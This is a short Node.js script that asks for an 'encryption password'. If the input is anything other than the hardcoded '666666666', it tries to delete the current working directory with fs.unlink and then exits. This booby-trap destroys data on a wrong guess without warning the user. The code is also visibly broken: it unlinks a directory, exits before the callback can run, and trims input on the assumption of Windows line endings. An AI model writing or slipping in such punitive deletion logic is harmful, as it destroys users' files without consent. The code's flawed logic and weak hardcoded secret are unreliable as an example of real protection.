const fs = require('fs'); process.stdout.write('Please enter the encryption password:'); process.stdin.resume(); process.stdin.setEncoding('utf-8'); process.stdin.on('data', function (data) { let executionPath = process.cwd(); let code = data.slice(0,-2); process.stdin.pause(); if(code!=='666666666'){ fs.unlink(executionPath,()=>{ console.log(arguments) }) process.exit() } })